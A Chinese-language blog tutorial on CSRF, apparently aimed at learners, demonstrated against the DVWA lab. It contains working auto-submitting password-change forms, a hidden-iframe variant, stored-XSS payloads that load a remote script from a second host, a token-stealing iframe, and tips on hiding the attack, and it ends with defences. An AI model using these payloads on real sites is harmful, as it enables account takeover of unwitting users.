WEB安全之CSRF

Posted 小白学IT

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WEB安全之CSRF相关的知识,希望对你有一定的参考价值。

大家好,我是阿里斯,一名IT行业小白。今天分享的内容是CSRF相关知识,不求表哥们打赏,只求点点在看,点点转发。

CSRF漏洞概述

CSRF(Cross-Site Request Forgery),中文名为跨站请求伪造,是一种Web攻击方式。该漏洞是一种挟持用户在当前已登录的Web应用程序上执行非本意操作的攻击方法。通俗点说就是恶意攻击者窃取了你在某个网站的身份,以你的名义发送恶意请求。

CSRF漏洞可以做什么呢?

它可以以你的名义发邮件、发消息、转账、修改密码、删除文章/留言/评论.......

CSRF漏洞原理

产生原因

网站没有进行严格的身份验证,只验证了请求来自某个用户的浏览器,却不能保证这个请求是用户自愿发出的。

举例:用户阿鱼使用IE浏览器访问网站A,并在该网站有登录状态(未退出登录),这时阿鱼使用IE浏览器访问了网站B,网站B发出一个网站A的密码修改请求,网站A服务器接收修改密码请求后,进行身份验证发现这个请求来源与用户A的浏览器不再检验该请求是否由用户发出,直接进行数据修改操作。

CSRF漏洞利用条件

通过CSRF漏洞原理我们可以得知受害者需要完成两个动作才可能被攻击:

1、登录信任网站A,并生成相关的会话信息

2、在没有退出网站A的情况下,使用同一个浏览器访问网站B

不经意发生的事:

1、你不能保证你登录了一个网站后,不再打开另一个页面访问其它网站。

2、你不能保证关闭浏览器之后,你的本地Cookie立刻过期,你上次的会话已经结束。

3、原理图中所谓的B网站(恶意服务器),很有可能是一个存在其它漏洞的可信任网站

CSRF之POC制作

现在有各种工具来完成一个POC的制作,但是工具完成的就是死板,任然需要我们去进行修改,以达到访问即触发,请求不跳转的完美POC。接下来我们使用burpsuite来生成一个简易的POC,然后改造成理想POC。

burpsuite生成CSRF_POC

1、打开你要测试的页面,开启浏览器代理,burpsuite开启拦截,这里我们以dvwa来进行测试

将安全等级调为low,然后找到csrf模块,输入密码进行修改,吧修改密码的请求包拦

WEB安全之CSRF

2、使用burpsuite生POC,在抓到数据表的页面右键,然后按照图片的操作执行即可

WEB安全之CSRF

WEB安全之CSRF

3、一起来修改代码

WEB安全之CSRF

4、测试效果

dvwa这边处于登录状态,然后使用同一浏览,访问刚刚构造的POC

如果你想让攻击更加隐蔽,可以弄一个404的代码或者其它正常的代码,也可以使用纯js构造表单然后加载到一个正常网站的页面中,这就是攻击于无形。

WEB安全之CSRF

CSRF分类及靶机演示(DVWA)

CSRF根据请求分为GET类型和POST类型,最初人们以为只有GET类型CSRF是有危害的,后来发现POST类型的CSRF其实同样是可以被利用的。

短链接

为有效实现GET类型的攻击,我们需要把get类型的url进行短url生成

http://tool.chinaz.com/tools/dwz.aspx

csrf绕过referer验证

很多网站会通过验证referer是否合法来判断是否是用户操作,但是他可能只是验证referer中是否包含该网站的referer。如DVWA的判断原理是取出请求中的referer值,然后将host的值取出,然后判断在referer值中有没有出现host值,如果出现则认为是正常请求,否则就拒绝请求。

绕过思路

将攻击文件的文件名改为该网站的域名(请求时的host值).......

<html>
 <body>
   <form action="http://192.168.1.44/DVWA-master/vulnerabilities/csrf/">
     <input type="hidden" name="password&#95;new" value="test" />
     <input type="hidden" name="password&#95;conf" value="test" />
     <input type="hidden" name="Change" value="Change" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>

xss+csrf组合拳----dvwa版

1、打开DVWA,将Security Level等级改为low,进入csrf模块,进行密码修改,这里要使用burpsuite抓包

2、使用burpsuite生成一个csrf的poc

3、copy生成的poc,然后作一个修改(利用iframe控制页面跳转,隐藏信息)

<html>
 <body>
<iframe name="target" style="display: none;"></iframe>
   <form action="http://192.168.1.44/DVWA-master/vulnerabilities/csrf/" id="form" target="target">
     <input type="hidden" name="password&#95;new" value="123&#46;com" />
     <input type="hidden" name="password&#95;conf" value="123&#46;com" />
     <input type="hidden" name="Change" value="Change" />
   </form>
   <script>
  var form = document.getElementById('form');
  form.submit();
   </script>
 </body>
</html>

4、进入xss模块,将payload放入xss模块即可实现攻击(使用储存型xss)

<script src="x" onerror=javascript:window.open("http://192.168.1.7/st_test/csrf/csrf_low.html")></script>

另外一种方式

# 文件名 csrf_js_pocjs
var form = document.createElement('form');
 form.action='http://192.168.1.44/DVWA-master/vulnerabilities/csrf/';
 form.target='target';

 var pass1 = document.createElement('input');
 pass1.name="password_new";
 pass1.value = '123456';

 var pass2 = document.createElement('input');
 pass2.name = 'password_conf';
 pass2.value = "123456";

 var change = document.createElement('input');
 change.name='Change';
 change.value='Change';

 form.appendChild(pass1);
 form.appendChild(pass2);
 form.appendChild(change);

 document.body.append(form)
 form.submit();

payload

<script src="http://192.168.1.7/st_test/csrf/csrf_js_poc.js">
</script>

csrf结合xss绕过token防御

token作为身份令牌,如果该值足够随机,那么安全系数将是很高的,按照这种逻辑这里不应该存在csrf漏洞,但是如果网站存在XSS漏洞的话,那么这里的token就将形同虚设。我们可以利用xss获取到token值,然后利用该值发起请求,从而构造相应从csrf攻击。但是这里存在一个问题,那就是同源策略会限制我们的脚本,这里我们只能打出token,然后再诱惑用户点击我们构造的页面,这样也会造成危害,但是这里由于token随机性,可能每次刷新页面就会失效,所以可利用的概率就比较小了。

<iframe src='../csrf/' onload="alert(frames[0].document.getElementsByName('user_token')[0].value)">

CSRF防御

服务器角度:

关键操作增加验证码

验证referer

使用足够随机的token

用户角度

养成良好习惯,访问完一个网站,点击退出账户的好习惯


点赞、关注、转发、在看



以上是关于WEB安全之CSRF的主要内容,如果未能解决你的问题,请参考以下文章

web安全之token和CSRF攻击

无相劫指:Web安全之其他漏洞专题二-第八天

Web安全之CSRF攻击

Web安全测试之跨站请求伪造(CSRF)篇

Web安全之CSRF攻击

Web前端安全策略之CSRF的攻击与防御